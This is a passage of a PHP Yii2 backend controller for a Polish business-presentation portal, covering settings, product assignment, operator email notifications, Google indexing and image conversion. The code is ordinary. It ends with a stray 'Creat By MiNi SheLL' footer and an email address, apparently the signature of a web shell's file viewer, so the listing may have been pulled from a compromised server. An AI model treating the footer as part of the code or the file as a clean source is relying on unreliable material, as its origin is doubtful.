                                'profile' => [UserProfile::ADMIN, UserProfile::EDITOR, UserProfile::MARKETER, UserProfile::MODERATOR, UserProfile::OPERATOR, UserProfile::WEB_DEVELOPER]
                            ])
                            ->all();

                    $emails = [];
                    if(!empty($modelsOperatorsRecipients)) {                                        
                        foreach($modelsOperatorsRecipients as $modelOperatorRecipient) {
                            if(!empty($modelOperatorRecipient->contactData[0]->data_value)) {
                                $email = $modelOperatorRecipient->contactData[0]->data_value;
                                $emails[$email] = $email;
                            }
                        }
                        $emails = array_values($emails);
                    }

                    if(!empty($emails)) {
                        //wysyłamy emaile z informacją o zmianach w prezentacjach (###MAIL_45###) 
                        $mailer = Yii::$app->mailer;
                        $mailer->htmlLayout = 'layouts/main-html';      
                        $mailer->textLayout = 'layouts/main-text'; 
                        $flag = $mailer->compose(
                                [
                                    'html' => 'notify_about_changes_in_presentations_html',
                                    'text' => 'notify_about_changes_in_presentations_text'
                                ],
                                [
                                    'operatorLabel' => Yii::$app->user->identity->forename.' '. Yii::$app->user->identity->surname,
                                    'messageFromEditors' => Yii::t('common-mails', 'Prezentacja w Pakiecie Starter została uruchomiona.'),
                                    'modelsPresentations' => !empty($modelsRelatedPresentations) ? array_merge([$modelPresentation], array_values($modelsRelatedPresentations)) : [$modelPresentation],
                                    'modelCompany' => $modelPresentation->company
                                ]
                            )
                            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
                            ->setTo($emails)
                            ->setSubject(Yii::t('common-mails', 'Prezentacja firmy {company} na portalu {domain} [Starter]', ['company' => \yii\helpers\Html::encode($modelPresentation->company->name), 'domain' => $modelPresentation->portal->domain]))
                            ->send();
                    }
                }
                
                if(
                    !empty($deletedPresentationsPromoted) 
                    || !empty($deletedProductsPromoted) 
                    || ($oldIdPackage !== PresentationsPackages::PACKAGE_STARTER && $modelPresentation->id_package === PresentationsPackages::PACKAGE_STARTER) 
                    || ($oldStatus === Status::ACTIVE && $modelPresentation->status !== Status::ACTIVE)
                ) {
                    $emails = \common\models\UsersContactData::find()
                            ->select(['users_contact_data.data_value'])
                            ->join('INNER JOIN', 'users', 'users.id_user = users_contact_data.id_user')
                            ->where([
                                'users_contact_data.id_user' => array_merge(
                                    [(int)Yii::$app->user->id],
                                    $modelPresentation->company->getOperators()->select(['id_user'])->column(),
                                    \common\models\Users::find()->select(['id_user'])->where(['or', ['profile' => UserProfile::EDITOR], ['login' => 'vm_lukasz']])->column()
                                ),
                                'users_contact_data.required' => 1,
                                'users_contact_data.data_type' => \common\models\types\ContactDataType::EMAIL,
                                'users.status' => Status::ACTIVE, 
                                'users.profile' => [UserProfile::ADMIN, UserProfile::EDITOR, UserProfile::MARKETER, UserProfile::MODERATOR, UserProfile::OPERATOR, UserProfile::WEB_DEVELOPER]
                            ])
                            ->column();
                    
                    if(!empty($emails)) {
                        //wysyłamy emaile z informacją o zmianach w prezentacjach (###MAIL_45###) 
                        $mailer = Yii::$app->mailer;
                        $mailer->htmlLayout = 'layouts/main-html';      
                        $mailer->textLayout = 'layouts/main-text'; 
                        $flag = $mailer->compose(
                                [
                                    'html' => 'notify_about_disabling_paid_presentations_html',
                                    'text' => 'notify_about_disabling_paid_presentations_text'
                                ],
                                [
                                    'operatorLabel' => Yii::$app->user->identity->forename.' '. Yii::$app->user->identity->surname,
                                    'deletedPresentationsPromoted' => $deletedPresentationsPromoted,
                                    'deletedProductsPromoted' => $deletedProductsPromoted,
                                    'modelsPresentations' => !empty($modelsRelatedPresentations) ? array_merge([$modelPresentation], array_values($modelsRelatedPresentations)) : [$modelPresentation],
                                    'modelCompany' => $modelPresentation->company,
//                                    'orChangedPackage' => $oldIdPackage !== PresentationsPackages::PACKAGE_STARTER && $modelPresentation->id_package === PresentationsPackages::PACKAGE_STARTER ? true : false,
                                    'orDisable' => $oldStatus === Status::ACTIVE && $modelPresentation->status !== Status::ACTIVE 
                                ]
                            )
                            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
                            ->setTo($emails)
                            ->setSubject(Yii::t('common-mails', 'Prezentacja firmy {company} na portalu {domain} [Starter]', ['company' => \yii\helpers\Html::encode($modelPresentation->company->name), 'domain' => $modelPresentation->portal->domain]))
                            ->send();
                    }
                } 
                
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));
                return $this->redirect(['settings', 'id' => $modelPresentation->id_presentation]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
            }
        }
        
        return $this->render('settings', $outputParams);
    }
    
    public function actionProductsAndServices($id)
    {
        $modelPresentation = $this->findModel($id);  
        
        if (!Yii::$app->user->can('viewCompaniesPresentations', ['model' => $modelPresentation->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $modelsTabs = $this->getCompaniesTabs($modelPresentation);
        if(empty($modelsTabs[PresentationsTabs::TAB_PRODUCTS_AND_SERVICES])) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        $modelSelectedTab = $modelsTabs[PresentationsTabs::TAB_PRODUCTS_AND_SERVICES];
        
//        $dataProviderSelectedProducts = new \yii\data\ActiveDataProvider([
//            'query' => $modelPresentation->getProducts()->indexBy('id_product'),
//            'pagination' => false,
//            'sort' => false
//        ]);        
//        $modelsSelectedProducts = $dataProviderSelectedProducts->getModels();
        
        $queryParams = Yii::$app->request->queryParams;
        $searchModel = new \backend\models\ProductsSearch();
        $queryParams['ProductsSearch']['id_company'] = $modelPresentation->id_company;
        $queryParams['ProductsSearch']['idPresentation'] = $modelPresentation->id_presentation;
//        $queryParams['ProductsSearch']['excludedProducts'] = array_keys($modelsSelectedProducts);
//        $dataProviderAllProducts = $searchModel->search($queryParams);
        $dataProvider = $searchModel->search($queryParams);
        
        $idsSelectedProducts = $modelPresentation->getRelationsWithProducts()->select(['id_product'])->column();
        
        $outputParams = [
            'modelPresentation' => $modelPresentation,
            'modelsTabs' => $modelsTabs,
            'modelSelectedTab' => $modelSelectedTab,
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
            'idsSelectedProducts' => $idsSelectedProducts
//            'dataProviderAllProducts' => $dataProviderAllProducts,
//            'dataProviderSelectedProducts' => $dataProviderSelectedProducts
        ];
        
        return $this->render('products_and_services', $outputParams);
    }
    
    public function actionSelectProduct($id)
    {
        $modelPresentation = $this->findModel(intval(Yii::$app->request->get('id_presentation')));
        
        if (($modelProduct = \common\models\Products::find()->where(['id_product' => $id, 'id_company' => $modelPresentation->id_company])->one()) === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        if (!Yii::$app->user->can('modifyCompaniesPresentations', ['model' => false]) && !Yii::$app->user->can('modifyOwnCompaniesPresentations', ['model' => $modelPresentation->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }

        $model = new \backend\models\ProductOnPortalForm();
        $model->setPresentation($modelPresentation)->setProduct($modelProduct);
        
        $modelCompanyPresentationHasProduct = $modelPresentation->getRelationsWithProducts()->where(['id_product' => $modelProduct->id_product])->one();
        if($modelCompanyPresentationHasProduct !== null) {
            $model->setAsExistInDb();
            $model->loadAssignedCategories();
            $model->productOrder = $modelCompanyPresentationHasProduct->product_order;
        }      
        
        $outputParams = [
            'model' => $model
        ];
        
        if(!$model->existInDb()) {
            $productsLimit = intval($modelPresentation->getSettingsKey('products_limit'));
            if($productsLimit < 1 || $productsLimit <= $modelPresentation->getProducts()->andWhere(['status' => Status::ACTIVE])->count()) {
                Yii::$app->session->addFlash('warning', Yii::t('backend', 'Limit elementów tego typu dla wybranej prezentacji został wyczerpany. Usuń istniejące powiązania bądź zakup dodatkowe miejsca.'));
                return $this->conditionalRender('select_product', $outputParams);
            }
        }
                
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model, ['listCategories', 'product_order']);
        }
        
        if(Yii::$app->request->getIsPost()) { 
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('select_product', $outputParams);
            }
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('select_product', $outputParams);
            }

            $cacheTags = ['product_'.$modelProduct->id_product];
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = $model->save();       
            if($flag) {
                list($flag, $cacheTagsFromRelatedPresentations) = $this->syncItemsForRelatedPresentations($modelPresentation, '\common\models\CompaniesPresentationsHasProducts', 'getRelationsWithProducts', 'presentation_XXX_products', 'id_product', 'product_order');
                $cacheTags = array_unique(array_merge($cacheTags, $cacheTagsFromRelatedPresentations));
            }
            if($flag && !$model->existInDb() && $modelPresentation->status === Status::ACTIVE) {
                list($flag, $lastInsertedModel) = \backend\components\helpers\GoogleIndexingHelper::createEntryForProduct($modelProduct, $modelPresentation->portal);
                if($flag && !empty($modelPresentation->relatedPresentations)) {
                    foreach($modelPresentation->relatedPresentations as $modelRelatedPresentation) {
                        list($flag, $lastInsertedModel) = \backend\components\helpers\GoogleIndexingHelper::createEntryForProduct($modelProduct, $modelPresentation->portal);
                        if(!$flag) {
                            break;
                        }
                    }
                }
            }
            if($flag) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                $this->createEntryForUserChange(UserChangeType::PRESENTATION_PRODUCTS_AND_SERVICES, $modelPresentation->id_presentation, $modelPresentation->id_company);
                TagDependency::invalidate(Yii::$app->frontendCache, $cacheTags);
                PresentationsHelper::refreshTabsActivityStatus($modelPresentation, [PresentationsTabs::TAB_PRODUCTS_AND_SERVICES]);
                IndexPresentations::refreshRecord($modelPresentation->id_presentation);
                if(!empty($modelPresentation->relatedPresentations)) {
                    foreach($modelPresentation->relatedPresentations as $modelRelatedPresentation) {
                        PresentationsHelper::refreshTabsActivityStatus($modelRelatedPresentation, [PresentationsTabs::TAB_PRODUCTS_AND_SERVICES]);
                        IndexPresentations::refreshRecord($modelRelatedPresentation->id_presentation);
                    }
                }
                IndexProducts::refreshRecord($modelProduct->id_product); 
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['products-and-services', 'id' => $modelPresentation->id_presentation]);
                }
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('select_product', $outputParams);
    }
    
    public function actionDeleteProduct($id)
    {
        $modelPresentation = $this->findModel(intval(Yii::$app->request->get('id_presentation')));
        
        if (!Yii::$app->user->can('modifyCompaniesPresentations', ['model' => false]) && !Yii::$app->user->can('modifyOwnCompaniesPresentations', ['model' => $modelPresentation->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $modelPresentationHasProduct = $modelPresentation->getRelationsWithProducts()->where(['id_product' => $id])->one();
        if($modelPresentationHasProduct === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $cacheTags = ['product_'.$modelPresentationHasProduct->id_product];
        
        $transaction = Yii::$app->db->beginTransaction();
        //ustawianie kolejności pozostałych produktów promowanych na danym portalu odbywa się w metodzie PortalsHasProductsPromoted::beforeDelete();
        
        $flag = $modelPresentationHasProduct->delete();       
        if($flag) {
            list($flag, $cacheTagsFromRelatedPresentations) = $this->syncItemsForRelatedPresentations($modelPresentation, '\common\models\CompaniesPresentationsHasProducts', 'getRelationsWithProducts', 'presentation_XXX_products', 'id_product', 'product_order');
            $cacheTags = array_unique(array_merge($cacheTags, $cacheTagsFromRelatedPresentations));
        }
        if($flag) {
            $idPortalForCategoriesTree = !empty($modelPresentation->portal->id_parent_portal) ? $modelPresentation->portal->id_parent_portal : $modelPresentation->portal->id_portal;
            //usuwanie przypisanych kategorii dla danej prezentacji i produktu
            $canRemoveRelationsWithCategories = false;
                        
            //sprawdzamy, czy produkt znajduje się jeszcze na jakiejś innej prezentacji - jeśli nie, to możemy usuwać powiązania do kategorii
            $idsOtherProductPresentations = \common\models\CompaniesPresentationsHasProducts::find()
                    ->select('id_presentation')
                    ->where(['id_product' => $modelPresentationHasProduct->id_product])
                    ->column();
            if(empty($idsOtherProductPresentations)) {
                //możemy usuwać powiązania do kategorii                
                $canRemoveRelationsWithCategories = true;                
            } else {
                //sprawdzamy, czy któraś z tych prezentacji dotyczy portalu pokrewnego dla właśnie obsługiwanego
                $orExistOnUnrelatedPortals = CompaniesPresentations::find()
                        ->join('INNER JOIN', 'portals', 'portals.id_portal = companies_presentations.id_portal')
                        ->where([
                            'companies_presentations.id_presentation' => $idsOtherProductPresentations,
                            'portals.id_parent_portal' => $idPortalForCategoriesTree
                        ])
                        ->exists();
                if(!$orExistOnUnrelatedPortals) {
                    //możemy usuwać powiązania do kategorii
                    $canRemoveRelationsWithCategories = true;
                }
            }
            
            if($canRemoveRelationsWithCategories) {
                $modelsProductRelationsWithCategories = \common\models\ProductsHasProductsCategories::find()
                    ->join('INNER JOIN', 'products_categories', 'products_categories.id_category = products_has_products_categories.id_category')
                    ->where([
                        'products_categories.id_portal' => $idPortalForCategoriesTree,
                        'products_has_products_categories.id_product' => $modelPresentationHasProduct->id_product
                    ])
                    ->all();
                
                if(!empty($modelsProductRelationsWithCategories)) {
                    foreach($modelsProductRelationsWithCategories as $modelProductRelationWithCategory) {
                        $flag = $flag && $modelProductRelationWithCategory->delete();
                    }
                }
            }
        }
        if($flag) {
            $transaction->commit();
            $this->createEntryForUserChange(UserChangeType::PRESENTATION_PRODUCTS_AND_SERVICES, $modelPresentation->id_presentation, $modelPresentation->id_company);
            TagDependency::invalidate(Yii::$app->frontendCache, $cacheTags);
            PresentationsHelper::refreshTabsActivityStatus($modelPresentation, [PresentationsTabs::TAB_PRODUCTS_AND_SERVICES]);
            IndexPresentations::refreshRecord($modelPresentation->id_presentation);
            if(!empty($modelPresentation->relatedPresentations)) {
                foreach($modelPresentation->relatedPresentations as $modelRelatedPresentation) {
                    PresentationsHelper::refreshTabsActivityStatus($modelRelatedPresentation, [PresentationsTabs::TAB_PRODUCTS_AND_SERVICES]);
                    IndexPresentations::refreshRecord($modelRelatedPresentation->id_presentation);
                }
            } 
            IndexProducts::refreshRecord($modelPresentationHasProduct->id_product); 
        } else {
            $transaction->rollBack();
        }

        return Yii::$app->getResponse()->redirect(['companiespresentations/products-and-services', 'id' => $modelPresentation->id_presentation], 302, false);
    }
    
    public function actionAutocompleteTags()
    {
        $phrase = Yii::$app->request->get('phrase');
        $tags = [];
        if(!empty($phrase['term'])) {
            $tags = PresentationsTags::find()->select(['name'])->where(['ilike', 'name', $phrase['term']])->orderBy('quantity')->asArray()->column();
        }
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        
        return $tags;
    }
    
    public function actionNotifyAboutChanges($id)
    {        
        $modelCompany = $this->findModelCompany($id);

        if(!Yii::$app->user->can('modifyCompaniesPresentations')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $modelForm = new \backend\models\NotifyAboutPresentationsChangesForm(['modelCompany' => $modelCompany]);
        
        $outputParams = [
            'modelCompany' => $modelCompany,
            'modelForm' => $modelForm,
        ];
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $modelForm->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($modelForm, ['listOperators', 'listPresentations']);
        }
        
        if(Yii::$app->request->getIsPost()) {  
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('notify_about_changes', $outputParams);
            }
            
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->conditionalRender('notify_about_changes', $outputParams);
            }        
                        
            $modelsOperatorsRecipients = \common\models\Users::find()
                ->select(['id_user', 'forename', 'surname'])
                ->with([
                    'contactData' => function($q) {
                        $q->where([
                            'required' => 1,
                            'data_type' => \common\models\types\ContactDataType::EMAIL
                        ]);
                    }
                ])
                ->where([
                    'id_user' => $modelForm->listOperators,
                    'status' => Status::ACTIVE, 
                    'profile' => [UserProfile::ADMIN, UserProfile::EDITOR, UserProfile::MARKETER, UserProfile::MODERATOR, UserProfile::OPERATOR, UserProfile::WEB_DEVELOPER]
                ])
                ->all();
                
            if(empty($modelsOperatorsRecipients)) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
                return $this->conditionalRender('notify_about_changes', $outputParams);
            }
                
            $flag = true;
            
            if($flag) {
                $emails = [];                
                foreach($modelsOperatorsRecipients as $modelOperatorRecipient) {
                    if(!empty($modelOperatorRecipient->contactData[0]->data_value)) {
                        $email = $modelOperatorRecipient->contactData[0]->data_value;
                        $emails[$email] = $email;
                    }
                }
                $emails = array_values($emails);
                
                if(empty($emails)) {
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
                    return $this->conditionalRender('notify_about_changes', $outputParams);
                }
                
                $modelsCompanyPresentations = $modelCompany->getPresentations()
                        ->joinWith(['portal'])
                        ->with(['package'])
                        ->where(['id_presentation' => $modelForm->listPresentations])                        
                        ->orderBy('portals.domain ASC')
                        ->all();
                
                $domains = [];
                foreach($modelsCompanyPresentations as $modelCompanyPresentation) {
                    $domains[] = $modelCompanyPresentation->portal->domain;
                }
                
                //wysyłamy emaile z informacją o zmianach w prezentacjach (###MAIL_45###) 
                $mailer = Yii::$app->mailer;
                $mailer->htmlLayout = 'layouts/main-html';      
                $mailer->textLayout = 'layouts/main-text';           
                $flag = $mailer->compose(
                        [
                            'html' => 'notify_about_changes_in_presentations_html',
                            'text' => 'notify_about_changes_in_presentations_text'
                        ],
                        [
                            'operatorLabel' => Yii::$app->user->identity->forename.' '. Yii::$app->user->identity->surname,
                            'messageFromEditors' => $modelForm->message,
                            'modelsPresentations' => $modelsCompanyPresentations,
                            'modelCompany' => $modelCompany
                        ]
                    )
                    ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
                    ->setTo($emails)
                    ->setSubject(Yii::t('common-mails', 'Aktualizacja/Uruchomienie prezentacji firmy {company} na portalach: {domains}', ['company' => \yii\helpers\Html::encode($modelCompany->name), 'domains' => implode(', ', $domains)]))
                    ->send();
            }
            
            if($flag) {    
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Wiadomość została wysłana.')); 
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas wysyłania wiadomości.'));                
            }
        }
       
        return $this->conditionalRender('notify_about_changes', $outputParams);
    }    
    
    public function actionGoogleIndexing($id)
    {
        $modelPresentation = $this->findModel($id);
        
        if (!Yii::$app->user->can('createGoogleIndexingUrls')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $modelsTabs = $this->getCompaniesTabs($modelPresentation);
        if(empty($modelsTabs)) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        if($modelPresentation->status !== Status::ACTIVE) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie można wykonać żądanej akcji.'));
            return $this->redirect(['contact-data', 'id' => $modelPresentation->id_presentation]);
        }
        
        $modelForm = new GoogleIndexingUrlForPresentationForm();
        $modelForm->setPresentation($modelPresentation);
        
        $outputParams = [
            'modelPresentation' => $modelPresentation,
            'modelsTabs' => $modelsTabs,
            'modelForm' => $modelForm
        ];
        
        if(Yii::$app->request->getIsPost()) { 
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('google_indexing', $outputParams);
            }
            
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->render('google_indexing', $outputParams);
            }
            
            if ($modelForm->save()) {
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['google-indexing', 'id' => $modelPresentation->id_presentation]);
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('google_indexing', $outputParams);
    }
    
    public function actionConvertImagesToWebpFromOfferTab($id)
    {        
        $this->convertImagesToWebpFromTab($id, PresentationsTabs::TAB_OFFER);
        
        return $this->redirect(['offer', 'id' => $id]);
    }
    
    public function actionConvertImagesToWebpFromAboutCompanyTab($id)
    {
        $this->convertImagesToWebpFromTab($id, PresentationsTabs::TAB_ABOUT_COMPANY);
        
        return $this->redirect(['about-company', 'id' => $id]);
    }
    
    protected function convertImagesToWebpFromTab($id, $tab)
    {
        $modelPresentation = $this->findModel($id);
        
        if (!Yii::$app->user->can('modifyCompaniesPresentations', ['model' => false])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $modelsTabs = $this->getCompaniesTabs($modelPresentation);
        if(empty($modelsTabs[$tab])) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        $modelSelectedTab = $modelsTabs[$tab];
        
        $modelPage = $modelSelectedTab->page;
        if(empty($modelPage)) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        list($orChangedModel, $processedContents, $newFilesPathes, $oldFilesPathesForRename) = $this->convertImagesToWebpFromContents([$modelPage->lead, $modelPage->content]);
        
        if($orChangedModel) {
            $modelPage->lead = $processedContents[0];
            $modelPage->content = $processedContents[1];
            
            $transaction = Yii::$app->db->beginTransaction();
        
            $flag = $modelPage->save(false);
            if($flag) {
                $idsRelatedPresentations = $modelPresentation->getRelationsWithRelatedPresentations()->select(['id_related_presentation'])->column();
                if(!empty($idsRelatedPresentations)) {
                    $modelsRelatedTabs = CompaniesPresentationsTabs::find()
                        ->with('page')
                        ->where([
                            'companies_presentations_tabs.id_tab' => $tab,
                            'companies_presentations_tabs.id_presentation' => $idsRelatedPresentations
                        ])
                        ->all();
                    if(!empty($modelsRelatedTabs)) {
                        foreach($modelsRelatedTabs as $modelRelatedTab) {                         
                            if(!empty($modelRelatedTab->page)) {
                                $modelRelatedPage = $modelRelatedTab->page;
                            } else {
                                $modelRelatedPage = new CompaniesPresentationsPages(['scenario' => 'create']);
                                $modelRelatedPage->id_company_tab = $modelRelatedTab->id_company_tab;                                
                            }                            
                            $modelRelatedPage->lead = $modelPage->lead;
                            $modelRelatedPage->content = $modelPage->content;                            
                            if(!$modelRelatedPage->save(false)) {
                                $flag = false;
                                break;
                            }
                        }
                    }
                }
            }
            
            if($flag) {
                $transaction->commit();
                if(!empty($oldFilesPathesForRename)) {
                    foreach($oldFilesPathesForRename as $oldFilePath => $newFilePath) {
                        rename($oldFilePath,  $newFilePath);
                    }
                }            
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
            } else {
                $transaction->rollBack();
                if(!empty($newFilesPathes)) {
                    foreach($newFilesPathes as $newFilePath) {
                        @unlink($newFilePath);
                    }
                }            
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }        
        } else {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
        }
    }
    
    public function actionRemoveOldImagesFromOfferTab($id)
    {
        $modelPresentation = $this->findModel($id);
        
        if (!Yii::$app->user->can('modifyCompaniesPresentations', ['model' => false])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $modelsTabs = $this->getCompaniesTabs($modelPresentation);
        if(empty($modelsTabs[PresentationsTabs::TAB_OFFER])) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        $modelSelectedTab = $modelsTabs[PresentationsTabs::TAB_OFFER];
        
        $modelPage = $modelSelectedTab->page;
        if(empty($modelPage)) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
  
        $flag = $this->removeImagesCopiesFromContents([$modelPage->lead, $modelPage->content]);
        if($flag) {        
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.')); 
        } else {           
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
        } 
        
        return $this->redirect(['offer', 'id' => $modelPresentation->id_presentation]);
    }
    
    /**
     * Finds the CompaniesPresentations model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return CompaniesPresentations the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModel($id)
    {
        if (($model = CompaniesPresentations::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
    
    /**
     * Finds the Companies model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return Companies the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModelCompany($id)
    {
        if (($model = Companies::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
    
    protected function getCompaniesTabs($modelPresentation) 
    {
        return $modelPresentation->getCompaniesTabs()
                ->joinWith('tab')
                ->join('INNER JOIN', 'portals_has_presentations_tabs', 'portals_has_presentations_tabs.id_tab = companies_presentations_tabs.id_tab AND portals_has_presentations_tabs.id_portal = '.intval($modelPresentation->id_portal))
                ->indexBy('id_tab')
                ->orderBy('companies_presentations_tabs.tab_order ASC')
                ->all();
    }
    
    protected function syncItemsForRelatedPresentations($modelPresentation, $modelRelationClassName, $getRelationsMethodName, $cacheTagSchema, $idColumnName, $orderColumnName)
    {
        $flag = true;
        $cacheTags = [];
        $idsRelatedPresentations = $modelPresentation->getRelationsWithRelatedPresentations()->select(['id_related_presentation'])->column();
        if(!empty($idsRelatedPresentations)) {
            if(!empty($cacheTagSchema)) {
                foreach($idsRelatedPresentations as $idRelatedPresentation) {                
                    if(is_string($cacheTagSchema)) {
                        $cacheTags[] = str_replace('XXX', $idRelatedPresentation, $cacheTagSchema);
                    } elseif(is_array($cacheTagSchema)) {
                        foreach($cacheTagSchema as $cacheTagSchemaItem) {
                            $cacheTags[] = str_replace('XXX', $idRelatedPresentation, $cacheTagSchemaItem);
                        }
                    }
                }       
            }            

            //tutaj musimy użyć obiektu dostępu do bazy, a nie modelu, ponieważ gdybyśmy użyli deleteAll(), to grozi to wywołaniem wszystkich "beforeDelete" i "afterDelete" w danych modelach 
            Yii::$app->db->createCommand()->delete($modelRelationClassName::tableName(), ['id_presentation' => $idsRelatedPresentations])->execute();

            $modelsPresentationsHasItems = $modelPresentation->$getRelationsMethodName()->all();                    
            if(!empty($modelsPresentationsHasItems)) {
                $relations = [];
                foreach($modelsPresentationsHasItems as $modelPresentationHasItem) {
                    foreach($idsRelatedPresentations as $idRelatedPresentation) {
                        $relations[] = [$idRelatedPresentation, $modelPresentationHasItem->$idColumnName, $modelPresentationHasItem->$orderColumnName, $modelPresentationHasItem->created_at, $modelPresentationHasItem->updated_at];
                    }                            
                }
                try {
                    Yii::$app->db->createCommand()->batchInsert(
                        $modelRelationClassName::tableName(), 
                        ['id_presentation', $idColumnName, $orderColumnName, 'created_at', 'updated_at'], 
                        $relations
                    )->execute();
                } catch(\yii\db\Exception $e) {
                    $flag = false;
                }
            }
        } 
        
        return [$flag, $cacheTags];
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com